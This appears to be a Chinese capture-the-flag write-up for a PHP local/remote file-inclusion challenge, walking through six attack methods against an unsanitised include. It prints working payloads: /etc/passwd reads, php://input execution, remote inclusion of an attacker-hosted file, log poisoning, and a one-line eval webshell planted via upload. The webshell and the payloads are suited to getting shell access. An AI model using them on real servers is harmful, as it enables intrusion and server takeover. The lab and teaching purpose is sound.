buuoj course 1详细解析

复制代码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

核心漏洞

include 是 PHP 的文件包含 / 执行函数 用户可以控制 file 参数 → 控制 include 包含任意文件 → 读取敏感数据 / 执行代码

这就是 任意文件包含漏洞(LFI/RFI)。意思是我们可以上传任意的文件用于攻击

获取flag

网址+?file=/flag

包含6种攻击方法

1. 读取服务器敏感文件

Linux 读取系统密码文件

?file=/etc/passwd

可以获取到服务器的相关信息

2. PHP 伪协议:读取任意文件源码

读取源码

这里是任意文件的源码

我们通过将文件源码下载转换为base64编码,防止服务器直接运行,这里获取到源码就可以对其分析,通过两个伪协议进行对读取文件源码,执行php代码

如何看出

看 URL 地址 网址里出现 ?xxx = 文件名 格式例:index.php?page=1.php``index.php?file=head.html``index.php?path=login.php只要参数值是文件名字,大概率存在文件包含漏洞。

简单测试确认 把后面文件名换成 phpinfo.php访问:index.php?file=phpinfo.php能正常加载页面内容,说明参数可控,存在包含漏洞。

替换伪协议试探 直接换成 php://input``index.php?file=php://input不报错、不拦截,就能直接 POST 执行代码。

3. 远程文件包含(直接拿服务器权限)

如果服务器开启 allow_url_include = On

可以直接包含你的恶意文件:

plaintext

复制代码
?file=http://你的服务器/shell.txt

shell.txt 内容:

plaintext

复制代码
<?php eval($_POST[cmd]);?>

直接植入一句话木马!

上述图片中的服务器关闭了远程文件上传

4. 包含日志文件 Getshell(入侵常用)

Apache/Nginx 会记录访问日志攻击者先访问:

plaintext

复制代码
http://目标地址/<?php phpinfo();?>

日志里就会写入 PHP 代码再包含日志文件:

plaintext

复制代码
?file=/var/log/apache2/access.log

代码被执行 → 服务器沦陷

这里需要知道服务器的相关类型

主要是通过对日志文件进行读写,将被攻击的服务器中的日志文件做成我们的木马

5. 包含 /proc/self/environ 变量(Linux)

plaintext

复制代码
?file=/proc/self/environ

可以在请求头里写入代码执行。

这里没有被禁止了,原因是权限不足,

6. 包含上传文件 Getshell

如果网站有上传点(头像、文档)上传一个图片马:shell.jpg 内容:

plaintext

复制代码
<?php eval($_POST[cmd]);?>

然后包含:

plaintext

复制代码
?file=../upload/2025/shell.jpg

图片里的 PHP 代码会被执行!

这里就是文件上传漏洞

相关推荐
素师良码1 小时前
第9篇:Android驱动踩坑实录:DSI RX FIFO前置脏0、数据错位复盘
android
夜雪一千1 小时前
如何在MySQL中实现字段级加密
android·数据库·mysql
夜雪一千1 小时前
MySQL 如何存储经纬度坐标:选型、建表、空间查询实战
android·mysql·adb
JMchen2 小时前
集成第三方 C/C++ 库到 Android NDK 项目:OpenCV 与 FFmpeg 实战指南
android·opencv·cmake
有毒的教程3 小时前
Dev-C++ 使用扩展库两种方式:DevPak一键安装 / 手动配置(重点)
android·c++·adb
mmsx4 小时前
Android 测绘数值基础:测量单位系统与七四参数、高程拟合
android
郑州光合科技余经理4 小时前
出海外卖平台:支付对接为什么要和下单收款分开
android·java·开发语言·前端·后端·php·ai编程
夜雪一千4 小时前
MySQL 如何提高查询速度:从索引、SQL、表结构到实战调优
android·sql·mysql
终端安全笔记4 小时前
配置锁状态那一栏查的是什么:报告里几项各自指向什么风险
android·前端·安全·ios
恋猫de小郭4 小时前
Kotlin Toolchain 0.13,JetBrains 推荐 KMP 都切换到到全新工具链
android·前端·flutter